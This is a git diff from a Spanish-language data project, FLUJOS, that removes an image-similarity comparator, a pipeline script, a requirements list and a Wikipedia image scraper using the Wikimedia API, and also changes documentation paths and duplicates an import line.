Todos los pares con similitud >= threshold, sin duplicados.
|
|
||||||
"""
|
|
||||||
all_comparaciones = []
|
|
||||||
seen = set()
|
|
||||||
|
|
||||||
for img_doc in image_docs:
|
|
||||||
results = self.compare_image_vs_collection(img_doc, text_docs)
|
|
||||||
for r in results:
|
|
||||||
key = (r["noticia1"], r["noticia2"])
|
|
||||||
if key not in seen:
|
|
||||||
seen.add(key)
|
|
||||||
all_comparaciones.append(r)
|
|
||||||
|
|
||||||
all_comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
|
|
||||||
return all_comparaciones
|
|
||||||
|
|
||||||
# ── Helpers ────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def top_n(comparaciones: list[dict], n: int = 20) -> list[dict]:
|
|
||||||
return sorted(comparaciones, key=lambda x: x["porcentaje_similitud"], reverse=True)[:n]
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def stats(comparaciones: list[dict]) -> dict:
|
|
||||||
if not comparaciones:
|
|
||||||
return {"total": 0}
|
|
||||||
sims = [c["porcentaje_similitud"] for c in comparaciones]
|
|
||||||
return {
|
|
||||||
"total": len(sims),
|
|
||||||
"media": round(np.mean(sims), 2),
|
|
||||||
"max": round(max(sims), 2),
|
|
||||||
"min": round(min(sims), 2),
|
|
||||||
"sobre_50": sum(1 for s in sims if s >= 50),
|
|
||||||
"sobre_70": sum(1 for s in sims if s >= 70),
|
|
||||||
}
|
|
||||||
|
|
@ -1,134 +0,0 @@
|
||||||
"""
|
|
||||||
pipeline_imagenes.py
|
|
||||||
--------------------
|
|
||||||
Pipeline end-to-end:
|
|
||||||
1. Scraping de imágenes Wikipedia por temas de FLUJOS
|
|
||||||
2. Análisis con Qwen3-VL-8B (keywords + metadata)
|
|
||||||
3. Comparación con corpus texto (noticias/wikipedia/torrents)
|
|
||||||
4. Guardado en MongoDB
|
|
||||||
|
|
||||||
Ejecutar:
|
|
||||||
python pipeline_imagenes.py --scrape --analizar --mongo
|
|
||||||
python pipeline_imagenes.py --scrape --tema "cambio climático" --max 10
|
|
||||||
python pipeline_imagenes.py --analizar --carpeta ./output/wiki_images/
|
|
||||||
python pipeline_imagenes.py --solo-json # sin MongoDB
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import json
|
|
||||||
import sys
|
|
||||||
from datetime import datetime
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
from image_analyzer import ImageAnalyzer
|
|
||||||
from image_comparator import ImageComparator
|
|
||||||
from mongo_helper import MongoHelper
|
|
||||||
from wikipedia_image_scraper import WikipediaImageScraper, TEMAS_FLUJOS
|
|
||||||
|
|
||||||
OUTPUT_DIR = Path(__file__).parent / "output"
|
|
||||||
IMAGES_DIR = OUTPUT_DIR / "wiki_images"
|
|
||||||
|
|
||||||
|
|
||||||
def fase_scraping(temas: list[str], max_per_tema: int, lang: str, usar_mongo: bool) -> list[dict]:
|
|
||||||
print("\n" + "="*60)
|
|
||||||
print(" FASE 1 — Scraping de imágenes Wikipedia")
|
|
||||||
print("="*60)
|
|
||||||
|
|
||||||
scraper = WikipediaImageScraper(output_dir=IMAGES_DIR, lang=lang)
|
|
||||||
|
|
||||||
if len(temas) == 1:
|
|
||||||
metadata = scraper.scrape_tema(temas[0], max_images=max_per_tema)
|
|
||||||
else:
|
|
||||||
metadata = scraper.scrape_multitema(temas, max_per_tema=max_per_tema)
|
|
||||||
|
|
||||||
if metadata:
|
|
||||||
json_path = scraper.save_metadata(metadata)
|
|
||||||
print(f"\n Total imágenes descargadas: {len(metadata)}")
|
|
||||||
if usar_mongo:
|
|
||||||
scraper.save_to_mongo(metadata)
|
|
||||||
|
|
||||||
return metadata
|
|
||||||
|
|
||||||
|
|
||||||
def fase_analisis(carpeta: str, usar_mongo: bool, threshold: float) -> tuple[list, list]:
|
|
||||||
print("\n" + "="*60)
|
|
||||||
print(" FASE 2 — Análisis con Qwen3-VL-8B")
|
|
||||||
print("="*60)
|
|
||||||
|
|
||||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
||||||
OUTPUT_DIR.mkdir(exist_ok=True)
|
|
||||||
|
|
||||||
analyzer = ImageAnalyzer()
|
|
||||||
image_docs = analyzer.analyze_folder(carpeta)
|
|
||||||
|
|
||||||
if not image_docs:
|
|
||||||
print(" No se analizaron imágenes.")
|
|
||||||
return [], []
|
|
||||||
|
|
||||||
json_imagenes = OUTPUT_DIR / f"imagenes_{timestamp}.json"
|
|
||||||
ImageAnalyzer.save_json(image_docs, str(json_imagenes))
|
|
||||||
|
|
||||||
# Cargar corpus texto para comparar
|
|
||||||
print("\n Cargando corpus de texto para comparar...")
|
|
||||||
mongo = MongoHelper()
|
|
||||||
if usar_mongo and mongo.is_available():
|
|
||||||
text_docs = mongo.get_all_text_docs(limit_per_collection=300)
|
|
||||||
else:
|
|
||||||
print(" MongoDB no disponible — comparación omitida")
|
|
||||||
text_docs = []
|
|
||||||
|
|
||||||
comparaciones = []
|
|
||||||
if text_docs:
|
|
||||||
comparador = ImageComparator(threshold=threshold)
|
|
||||||
valid = [d for d in image_docs if "error" not in d]
|
|
||||||
comparaciones = comparador.compare_batch(valid, text_docs)
|
|
||||||
|
|
||||||
stats = comparador.stats(comparaciones)
|
|
||||||
print(f" Similitud media: {stats.get('media', 0)}% | max: {stats.get('max', 0)}%")
|
|
||||||
|
|
||||||
json_comp = OUTPUT_DIR / f"comparaciones_{timestamp}.json"
|
|
||||||
with open(json_comp, "w", encoding="utf-8") as f:
|
|
||||||
json.dump(comparaciones, f, ensure_ascii=False, indent=2)
|
|
||||||
print(f" Guardado: {json_comp}")
|
|
||||||
|
|
||||||
if usar_mongo and mongo.is_available():
|
|
||||||
mongo.upsert_imagenes([d for d in image_docs if "error" not in d])
|
|
||||||
mongo.insert_comparaciones(comparaciones)
|
|
||||||
mongo.disconnect()
|
|
||||||
|
|
||||||
return image_docs, comparaciones
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
parser = argparse.ArgumentParser(description="Pipeline imágenes FLUJOS")
|
|
||||||
|
|
||||||
parser.add_argument("--scrape", action="store_true", help="Ejecutar fase de scraping")
|
|
||||||
parser.add_argument("--analizar", action="store_true", help="Ejecutar fase de análisis VLM")
|
|
||||||
parser.add_argument("--tema", default=None, help="Tema único (ej: 'cambio climático')")
|
|
||||||
parser.add_argument("--max", type=int, default=20, help="Máx imágenes por tema (default: 20)")
|
|
||||||
parser.add_argument("--lang", default="es", help="Idioma Wikipedia: es|en")
|
|
||||||
parser.add_argument("--carpeta", default=str(IMAGES_DIR), help="Carpeta para analizar")
|
|
||||||
parser.add_argument("--umbral", type=float, default=5.0, help="Umbral similitud (default: 5.0)")
|
|
||||||
parser.add_argument("--mongo", action="store_true", help="Guardar en MongoDB")
|
|
||||||
parser.add_argument("--solo-json", action="store_true", help="Solo JSON local, sin MongoDB")
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
|
||||||
usar_mongo = args.mongo and not args.solo_json
|
|
||||||
|
|
||||||
if not args.scrape and not args.analizar:
|
|
||||||
parser.print_help()
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
temas = [args.tema] if args.tema else TEMAS_FLUJOS
|
|
||||||
|
|
||||||
if args.scrape:
|
|
||||||
fase_scraping(temas, args.max, args.lang, usar_mongo)
|
|
||||||
|
|
||||||
if args.analizar:
|
|
||||||
carpeta = args.carpeta
|
|
||||||
if args.scrape and args.tema:
|
|
||||||
tema_slug = args.tema.lower().replace(" ", "_").replace("/", "-")[:40]
|
|
||||||
carpeta = str(IMAGES_DIR / tema_slug)
|
|
||||||
fase_analisis(carpeta, usar_mongo, args.umbral)
|
|
||||||
|
|
||||||
print("\n Pipeline completado.")
|
|
||||||
|
|
@ -1,26 +0,0 @@
|
||||||
# Pipeline de imágenes FLUJOS — Qwen3-VL-8B
|
|
||||||
# pip install -r requirements_imagenes.txt
|
|
||||||
|
|
||||||
# HuggingFace / modelo Qwen3-VL
|
|
||||||
transformers @ git+https://github.com/huggingface/transformers
|
|
||||||
torch>=2.3.0
|
|
||||||
torchvision>=0.18.0
|
|
||||||
accelerate>=0.30.0
|
|
||||||
huggingface_hub>=0.23.0
|
|
||||||
qwen-vl-utils>=0.0.8
|
|
||||||
|
|
||||||
# MongoDB
|
|
||||||
pymongo>=4.6
|
|
||||||
|
|
||||||
# ML / comparación
|
|
||||||
scikit-learn>=1.3
|
|
||||||
numpy>=1.24
|
|
||||||
|
|
||||||
# Imágenes
|
|
||||||
Pillow>=10.0
|
|
||||||
|
|
||||||
# HTTP
|
|
||||||
requests>=2.31
|
|
||||||
|
|
||||||
# Utilidades
|
|
||||||
python-dotenv>=1.0
|
|
||||||
|
|
@ -1,441 +0,0 @@
|
||||||
"""
|
|
||||||
wikipedia_image_scraper.py
|
|
||||||
--------------------------
|
|
||||||
Descarga imágenes de artículos de Wikipedia por tema usando la Wikimedia API.
|
|
||||||
Las guarda en una carpeta local y registra los metadatos en JSON / MongoDB.
|
|
||||||
|
|
||||||
Flujo:
|
|
||||||
1. Busca artículos en Wikipedia por tema/keyword
|
|
||||||
2. Para cada artículo extrae las imágenes (Wikimedia API)
|
|
||||||
3. Filtra imágenes no relevantes (iconos, banderas, logos pequeños...)
|
|
||||||
4. Descarga las imágenes a la carpeta de destino
|
|
||||||
5. Guarda metadatos: título del artículo, tema, url, descripción, fecha
|
|
||||||
6. Opcional: guarda metadatos en MongoDB colección 'imagenes_wiki'
|
|
||||||
|
|
||||||
Uso:
|
|
||||||
python wikipedia_image_scraper.py --tema "cambio climático" --max 30
|
|
||||||
python wikipedia_image_scraper.py --tema "geopolítica" --lang es --max 50
|
|
||||||
python wikipedia_image_scraper.py --temas temas.txt --max 20
|
|
||||||
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
|
|
||||||
|
|
||||||
Requisitos:
|
|
||||||
pip install requests Pillow pymongo python-dotenv
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import json
|
|
||||||
import os
|
|
||||||
import time
|
|
||||||
from datetime import datetime
|
|
||||||
from pathlib import Path
|
|
||||||
from urllib.parse import quote, urlparse
|
|
||||||
|
|
||||||
import requests
|
|
||||||
from PIL import Image, UnidentifiedImageError
|
|
||||||
|
|
||||||
# ── Configuración ──────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
WIKI_API_ES = "https://es.wikipedia.org/w/api.php"
|
|
||||||
WIKI_API_EN = "https://en.wikipedia.org/w/api.php"
|
|
||||||
WIKIMEDIA_API = "https://commons.wikimedia.org/w/api.php"
|
|
||||||
|
|
||||||
OUTPUT_BASE = Path(__file__).parent / "output" / "wiki_images"
|
|
||||||
|
|
||||||
# Tamaño mínimo para considerar una imagen relevante (pixels)
|
|
||||||
MIN_WIDTH = 200
|
|
||||||
MIN_HEIGHT = 200
|
|
||||||
MIN_BYTES = 20_000 # 20KB mínimo
|
|
||||||
|
|
||||||
# Extensiones válidas
|
|
||||||
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
|
|
||||||
|
|
||||||
# Prefijos/sufijos de archivos a ignorar (iconos, banderas, etc.)
|
|
||||||
SKIP_PATTERNS = [
|
|
||||||
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
|
|
||||||
"symbol", "Symbol", "coat_of_arms", "Coat_of_arms",
|
|
||||||
"commons-logo", "wiki", "Wiki", "question_mark",
|
|
||||||
"edit-", "nuvola", "Nuvola", "pictogram", "Pictogram",
|
|
||||||
"OOjs", "Ambox", "Portal-", "Disambig",
|
|
||||||
]
|
|
||||||
|
|
||||||
HEADERS = {
|
|
||||||
"User-Agent": "FLUJOS-Project/1.0 (https://gitea.laenre.net/hacklab/FLUJOS; educational research)"
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
# ── Funciones de búsqueda Wikipedia ───────────────────────────────────────────
|
|
||||||
|
|
||||||
def search_articles(tema: str, lang: str = "es", limit: int = 10) -> list[dict]:
|
|
||||||
"""Busca artículos en Wikipedia por tema. Devuelve lista de {title, pageid}."""
|
|
||||||
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
|
|
||||||
|
|
||||||
params = {
|
|
||||||
"action": "query",
|
|
||||||
"list": "search",
|
|
||||||
"srsearch": tema,
|
|
||||||
"srlimit": limit,
|
|
||||||
"format": "json",
|
|
||||||
"srinfo": "totalhits",
|
|
||||||
"srprop": "snippet|titlesnippet",
|
|
||||||
}
|
|
||||||
|
|
||||||
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
|
|
||||||
resp.raise_for_status()
|
|
||||||
data = resp.json()
|
|
||||||
|
|
||||||
articles = []
|
|
||||||
for item in data.get("query", {}).get("search", []):
|
|
||||||
articles.append({
|
|
||||||
"title": item["title"],
|
|
||||||
"pageid": item["pageid"],
|
|
||||||
"snippet": item.get("snippet", "").replace("<span class=\"searchmatch\">", "").replace("</span>", ""),
|
|
||||||
})
|
|
||||||
|
|
||||||
return articles
|
|
||||||
|
|
||||||
|
|
||||||
def get_article_images(title: str, lang: str = "es", limit: int = 20) -> list[str]:
|
|
||||||
"""Obtiene lista de nombres de archivo de imágenes de un artículo Wikipedia."""
|
|
||||||
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
|
|
||||||
|
|
||||||
params = {
|
|
||||||
"action": "query",
|
|
||||||
"titles": title,
|
|
||||||
"prop": "images",
|
|
||||||
"imlimit": limit,
|
|
||||||
"format": "json",
|
|
||||||
}
|
|
||||||
|
|
||||||
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
|
|
||||||
resp.raise_for_status()
|
|
||||||
data = resp.json()
|
|
||||||
|
|
||||||
pages = data.get("query", {}).get("pages", {})
|
|
||||||
image_titles = []
|
|
||||||
for page in pages.values():
|
|
||||||
for img in page.get("images", []):
|
|
||||||
image_titles.append(img["title"])
|
|
||||||
|
|
||||||
return image_titles
|
|
||||||
|
|
||||||
|
|
||||||
def get_image_info(file_title: str) -> dict | None:
|
|
||||||
"""
|
|
||||||
Obtiene info de una imagen via Wikimedia API:
|
|
||||||
url directa de descarga, dimensiones, descripción, autor, licencia.
|
|
||||||
"""
|
|
||||||
# Normalizar namespace: Wikipedia ES usa "Archivo:", Commons usa "File:"
|
|
||||||
for prefix in ("Archivo:", "Fichero:", "Image:", "Imagen:"):
|
|
||||||
if file_title.startswith(prefix):
|
|
||||||
file_title = "File:" + file_title[len(prefix):]
|
|
||||||
break
|
|
||||||
|
|
||||||
params = {
|
|
||||||
"action": "query",
|
|
||||||
"titles": file_title,
|
|
||||||
"prop": "imageinfo",
|
|
||||||
"iiprop": "url|size|extmetadata",
|
|
||||||
"iiurlwidth": 1200,
|
|
||||||
"format": "json",
|
|
||||||
}
|
|
||||||
|
|
||||||
resp = requests.get(WIKIMEDIA_API, params=params, headers=HEADERS, timeout=15)
|
|
||||||
resp.raise_for_status()
|
|
||||||
data = resp.json()
|
|
||||||
|
|
||||||
pages = data.get("query", {}).get("pages", {})
|
|
||||||
for page in pages.values():
|
|
||||||
infos = page.get("imageinfo", [])
|
|
||||||
if not infos:
|
|
||||||
return None
|
|
||||||
info = infos[0]
|
|
||||||
|
|
||||||
ext_meta = info.get("extmetadata", {})
|
|
||||||
return {
|
|
||||||
"url": info.get("thumburl") or info.get("url"),
|
|
||||||
"url_original": info.get("url"),
|
|
||||||
"width": info.get("width", 0),
|
|
||||||
"height": info.get("height", 0),
|
|
||||||
"size_bytes": info.get("size", 0),
|
|
||||||
"descripcion": ext_meta.get("ImageDescription", {}).get("value", ""),
|
|
||||||
"autor": ext_meta.get("Artist", {}).get("value", ""),
|
|
||||||
"licencia": ext_meta.get("LicenseShortName", {}).get("value", ""),
|
|
||||||
"fecha_orig": ext_meta.get("DateTimeOriginal", {}).get("value", ""),
|
|
||||||
}
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
|
|
||||||
# ── Filtros ────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def should_skip(file_title: str, img_info: dict) -> tuple[bool, str]:
|
|
||||||
"""Devuelve (skip, motivo) — True si la imagen debe descartarse."""
|
|
||||||
filename = Path(file_title).name
|
|
||||||
|
|
||||||
# Extensión válida
|
|
||||||
ext = Path(filename).suffix.lower()
|
|
||||||
if ext not in VALID_EXTENSIONS:
|
|
||||||
return True, f"extensión no válida: {ext}"
|
|
||||||
|
|
||||||
# Patrones a ignorar
|
|
||||||
for pattern in SKIP_PATTERNS:
|
|
||||||
if pattern in filename:
|
|
||||||
return True, f"patrón ignorado: {pattern}"
|
|
||||||
|
|
||||||
# Tamaño mínimo
|
|
||||||
if img_info.get("width", 0) < MIN_WIDTH or img_info.get("height", 0) < MIN_HEIGHT:
|
|
||||||
return True, f"demasiado pequeña: {img_info.get('width')}x{img_info.get('height')}"
|
|
||||||
|
|
||||||
if img_info.get("size_bytes", 0) < MIN_BYTES:
|
|
||||||
return True, f"archivo demasiado pequeño: {img_info.get('size_bytes')} bytes"
|
|
||||||
|
|
||||||
return False, ""
|
|
||||||
|
|
||||||
|
|
||||||
# ── Descarga ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def download_image(url: str, dest_path: Path) -> bool:
|
|
||||||
"""Descarga una imagen a dest_path. Devuelve True si éxito."""
|
|
||||||
try:
|
|
||||||
resp = requests.get(url, headers=HEADERS, timeout=30, stream=True)
|
|
||||||
resp.raise_for_status()
|
|
||||||
|
|
||||||
with open(dest_path, "wb") as f:
|
|
||||||
for chunk in resp.iter_content(chunk_size=8192):
|
|
||||||
f.write(chunk)
|
|
||||||
|
|
||||||
# Verificar que es imagen válida con Pillow
|
|
||||||
with Image.open(dest_path) as img:
|
|
||||||
img.verify()
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
except (UnidentifiedImageError, Exception) as e:
|
|
||||||
if dest_path.exists():
|
|
||||||
dest_path.unlink()
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
# ── Pipeline principal ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
class WikipediaImageScraper:
|
|
||||||
|
|
||||||
def __init__(self, output_dir: Path = OUTPUT_BASE, lang: str = "es"):
|
|
||||||
self.output_dir = output_dir
|
|
||||||
self.lang = lang
|
|
||||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
|
||||||
self.session = requests.Session()
|
|
||||||
|
|
||||||
def scrape_tema(self, tema: str, max_images: int = 30, max_articles: int = 10) -> list[dict]:
|
|
||||||
"""
|
|
||||||
Descarga imágenes de Wikipedia sobre un tema.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
tema: tema a buscar (ej: "cambio climático")
|
|
||||||
max_images: máximo de imágenes a descargar
|
|
||||||
max_articles: máximo de artículos a explorar
|
|
||||||
|
|
||||||
Returns:
|
|
||||||
Lista de metadatos de imágenes descargadas
|
|
||||||
"""
|
|
||||||
# Carpeta por tema
|
|
||||||
tema_slug = tema.lower().replace(" ", "_").replace("/", "-")[:40]
|
|
||||||
tema_dir = self.output_dir / tema_slug
|
|
||||||
tema_dir.mkdir(exist_ok=True)
|
|
||||||
|
|
||||||
print(f"\n[WikiScraper] Tema: '{tema}' | max_images={max_images} | lang={self.lang}")
|
|
||||||
print("-" * 50)
|
|
||||||
|
|
||||||
# 1. Buscar artículos
|
|
||||||
articles = search_articles(tema, lang=self.lang, limit=max_articles)
|
|
||||||
print(f" Artículos encontrados: {len(articles)}")
|
|
||||||
for a in articles[:5]:
|
|
||||||
print(f" · {a['title']}")
|
|
||||||
if len(articles) > 5:
|
|
||||||
print(f" ... y {len(articles)-5} más")
|
|
||||||
|
|
||||||
downloaded = []
|
|
||||||
total_downloaded = 0
|
|
||||||
|
|
||||||
for article in articles:
|
|
||||||
if total_downloaded >= max_images:
|
|
||||||
break
|
|
||||||
|
|
||||||
print(f"\n → {article['title']}")
|
|
||||||
|
|
||||||
# 2. Obtener imágenes del artículo
|
|
||||||
try:
|
|
||||||
img_titles = get_article_images(article["title"], lang=self.lang, limit=25)
|
|
||||||
except Exception as e:
|
|
||||||
print(f" ERROR obteniendo imágenes: {e}")
|
|
||||||
continue
|
|
||||||
|
|
||||||
print(f" {len(img_titles)} imágenes en el artículo")
|
|
||||||
|
|
||||||
for img_title in img_titles:
|
|
||||||
if total_downloaded >= max_images:
|
|
||||||
break
|
|
||||||
|
|
||||||
# 3. Obtener info de la imagen
|
|
||||||
try:
|
|
||||||
img_info = get_image_info(img_title)
|
|
||||||
time.sleep(0.2) # respetar rate limit Wikimedia
|
|
||||||
except Exception as e:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if not img_info or not img_info.get("url"):
|
|
||||||
continue
|
|
||||||
|
|
||||||
# 4. Filtrar
|
|
||||||
skip, motivo = should_skip(img_title, img_info)
|
|
||||||
if skip:
|
|
||||||
continue
|
|
||||||
|
|
||||||
# 5. Nombre de archivo local
|
|
||||||
original_name = Path(urlparse(img_info["url"]).path).name
|
|
||||||
ext = Path(original_name).suffix.lower() or ".jpg"
|
|
||||||
safe_name = f"{tema_slug}_{total_downloaded:03d}{ext}"
|
|
||||||
dest_path = tema_dir / safe_name
|
|
||||||
|
|
||||||
# Saltar si ya existe
|
|
||||||
if dest_path.exists():
|
|
||||||
print(f" ↳ ya existe: {safe_name}")
|
|
||||||
total_downloaded += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
# 6. Descargar
|
|
||||||
print(f" ↓ {safe_name} ({img_info['width']}x{img_info['height']} {img_info['size_bytes']//1024}KB)")
|
|
||||||
success = download_image(img_info["url"], dest_path)
|
|
||||||
|
|
||||||
if success:
|
|
||||||
meta = {
|
|
||||||
"archivo": safe_name,
|
|
||||||
"image_path": str(dest_path.resolve()),
|
|
||||||
"tema": tema.lower(),
|
|
||||||
"subtema": article["title"].lower(),
|
|
||||||
"texto": article.get("snippet", ""),
|
|
||||||
"descripcion_wiki": img_info.get("descripcion", ""),
|
|
||||||
"autor": img_info.get("autor", ""),
|
|
||||||
"licencia": img_info.get("licencia", ""),
|
|
||||||
"url_original": img_info.get("url_original", ""),
|
|
||||||
"width": img_info["width"],
|
|
||||||
"height": img_info["height"],
|
|
||||||
"size_bytes": img_info["size_bytes"],
|
|
||||||
"source_type": "wikipedia_imagen",
|
|
||||||
"lang": self.lang,
|
|
||||||
"fecha": datetime.now().strftime("%Y-%m-%d"),
|
|
||||||
"articulo_wiki": article["title"],
|
|
||||||
"keywords": [], # se rellenan con image_analyzer.py
|
|
||||||
}
|
|
||||||
downloaded.append(meta)
|
|
||||||
total_downloaded += 1
|
|
||||||
else:
|
|
||||||
print(f" ✗ fallo descarga")
|
|
||||||
|
|
||||||
print(f"\n[WikiScraper] Descargadas: {total_downloaded} imágenes en {tema_dir}")
|
|
||||||
return downloaded
|
|
||||||
|
|
||||||
def scrape_multitema(self, temas: list[str], max_per_tema: int = 20) -> list[dict]:
|
|
||||||
"""Descarga imágenes para múltiples temas."""
|
|
||||||
all_results = []
|
|
||||||
for tema in temas:
|
|
||||||
results = self.scrape_tema(tema, max_images=max_per_tema)
|
|
||||||
all_results.extend(results)
|
|
||||||
time.sleep(1) # pausa entre temas
|
|
||||||
return all_results
|
|
||||||
|
|
||||||
def save_metadata(self, metadata: list[dict], json_path: Path = None) -> Path:
|
|
||||||
"""Guarda metadatos en JSON."""
|
|
||||||
if json_path is None:
|
|
||||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
||||||
json_path = self.output_dir / f"metadata_{ts}.json"
|
|
||||||
|
|
||||||
with open(json_path, "w", encoding="utf-8") as f:
|
|
||||||
json.dump(metadata, f, ensure_ascii=False, indent=2)
|
|
||||||
|
|
||||||
print(f"[WikiScraper] Metadatos guardados: {json_path}")
|
|
||||||
return json_path
|
|
||||||
|
|
||||||
def save_to_mongo(self, metadata: list[dict]) -> dict:
|
|
||||||
"""Guarda metadatos en MongoDB colección 'imagenes_wiki'."""
|
|
||||||
from mongo_helper import MongoHelper
|
|
||||||
mongo = MongoHelper()
|
|
||||||
|
|
||||||
if not mongo.is_available():
|
|
||||||
print("[WikiScraper] MongoDB no disponible — solo JSON local")
|
|
||||||
return {"inserted": 0, "updated": 0}
|
|
||||||
|
|
||||||
# Usar colección imagenes_wiki para no mezclar con imagenes analizadas
|
|
||||||
db = mongo.connect()
|
|
||||||
from pymongo import UpdateOne
|
|
||||||
col = db["imagenes_wiki"]
|
|
||||||
col.create_index("archivo", unique=True)
|
|
||||||
|
|
||||||
ops = [
|
|
||||||
UpdateOne({"archivo": doc["archivo"]}, {"$set": doc}, upsert=True)
|
|
||||||
for doc in metadata
|
|
||||||
]
|
|
||||||
if ops:
|
|
||||||
result = col.bulk_write(ops)
|
|
||||||
stats = {"inserted": result.upserted_count, "updated": result.modified_count}
|
|
||||||
else:
|
|
||||||
stats = {"inserted": 0, "updated": 0}
|
|
||||||
|
|
||||||
print(f"[WikiScraper] MongoDB imagenes_wiki → {stats}")
|
|
||||||
mongo.disconnect()
|
|
||||||
return stats
|
|
||||||
|
|
||||||
|
|
||||||
# ── CLI ────────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
# Temas de FLUJOS por defecto
|
|
||||||
TEMAS_FLUJOS = [
|
|
||||||
"cambio climático",
|
|
||||||
"guerra global",
|
|
||||||
"inteligencia y seguridad",
|
|
||||||
"economía y corporaciones",
|
|
||||||
"demografía y sociedad",
|
|
||||||
]
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
parser = argparse.ArgumentParser(description="Descarga imágenes de Wikipedia por tema")
|
|
||||||
|
|
||||||
group = parser.add_mutually_exclusive_group(required=True)
|
|
||||||
group.add_argument("--tema", help="Tema único a buscar (ej: 'cambio climático')")
|
|
||||||
group.add_argument("--temas", help="Fichero .txt con un tema por línea")
|
|
||||||
group.add_argument("--flujos", action="store_true", help="Usar los temas de FLUJOS por defecto")
|
|
||||||
|
|
||||||
parser.add_argument("--max", type=int, default=20, help="Máximo imágenes por tema (default: 20)")
|
|
||||||
parser.add_argument("--lang", default="es", help="Idioma Wikipedia: es | en (default: es)")
|
|
||||||
parser.add_argument("--output", default=str(OUTPUT_BASE), help="Carpeta de destino")
|
|
||||||
parser.add_argument("--mongo", action="store_true", help="Guardar metadatos en MongoDB")
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
scraper = WikipediaImageScraper(output_dir=Path(args.output), lang=args.lang)
|
|
||||||
|
|
||||||
# Determinar lista de temas
|
|
||||||
if args.flujos:
|
|
||||||
temas = TEMAS_FLUJOS
|
|
||||||
elif args.temas:
|
|
||||||
with open(args.temas, encoding="utf-8") as f:
|
|
||||||
temas = [l.strip() for l in f if l.strip()]
|
|
||||||
else:
|
|
||||||
temas = [args.tema]
|
|
||||||
|
|
||||||
# Ejecutar
|
|
||||||
if len(temas) == 1:
|
|
||||||
metadata = scraper.scrape_tema(temas[0], max_images=args.max)
|
|
||||||
else:
|
|
||||||
metadata = scraper.scrape_multitema(temas, max_per_tema=args.max)
|
|
||||||
|
|
||||||
# Guardar resultados
|
|
||||||
if metadata:
|
|
||||||
json_path = scraper.save_metadata(metadata)
|
|
||||||
print(f"\n Total imágenes descargadas: {len(metadata)}")
|
|
||||||
print(f" JSON: {json_path}")
|
|
||||||
|
|
||||||
if args.mongo:
|
|
||||||
scraper.save_to_mongo(metadata)
|
|
||||||
else:
|
|
||||||
print("\n No se descargaron imágenes.")
|
|
||||||
|
|
@ -151,7 +151,7 @@ clean_text():
|
||||||
7) filtra STOPWORDS (lista extensa ES)
|
7) filtra STOPWORDS (lista extensa ES)
|
||||||
|
|
||||||
|
|
||||||
$FLUJOS/FLUJOS_DATOS/NOTICIAS/
|
/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
|
||||||
├── articulos/ (txt limpios en ES, de páginas HTML/Wayback)
|
├── articulos/ (txt limpios en ES, de páginas HTML/Wayback)
|
||||||
├── archivos/ (descargas crudas: pdf, csv, xlsx, docx, zip, html, md, txt)
|
├── archivos/ (descargas crudas: pdf, csv, xlsx, docx, zip, html, md, txt)
|
||||||
├── tokenized/ (mismos nombres, contenido = IDs BERT separados por espacio)
|
├── tokenized/ (mismos nombres, contenido = IDs BERT separados por espacio)
|
||||||
|
|
@ -270,7 +270,7 @@ Control y límites
|
||||||
- tqdm, logging, os, re, json, time, csv, hashlib, urllib.parse (urlparse/urljoin) → utilidades
|
- tqdm, logging, os, re, json, time, csv, hashlib, urllib.parse (urlparse/urljoin) → utilidades
|
||||||
|
|
||||||
[ ESTRUCTURA DE CARPETAS (I/O) ]
|
[ ESTRUCTURA DE CARPETAS (I/O) ]
|
||||||
$FLUJOS/FLUJOS_DATOS/NOTICIAS/
|
/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
|
||||||
├── articulos/ (TXT limpios en español, derivados de HTML/Wayback)
|
├── articulos/ (TXT limpios en español, derivados de HTML/Wayback)
|
||||||
├── archivos/ (descargas crudas: .pdf .csv .txt .xlsx .docx .html .md .zip)
|
├── archivos/ (descargas crudas: .pdf .csv .txt .xlsx .docx .html .md .zip)
|
||||||
├── tokenized/ (TXT con IDs de tokens BERT, máx 512 tokens por archivo)
|
├── tokenized/ (TXT con IDs de tokens BERT, máx 512 tokens por archivo)
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,5 @@
|
||||||
from deep_translator import GoogleTranslator
|
from deep_translator import GoogleTranslator
|
||||||
|
from deep_translator import GoogleTranslator
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import hashlib
|
import hashlib
|
||||||
|
|
@ -6,6 +7,7 @@ import requests
|
||||||
import json
|
import json
|
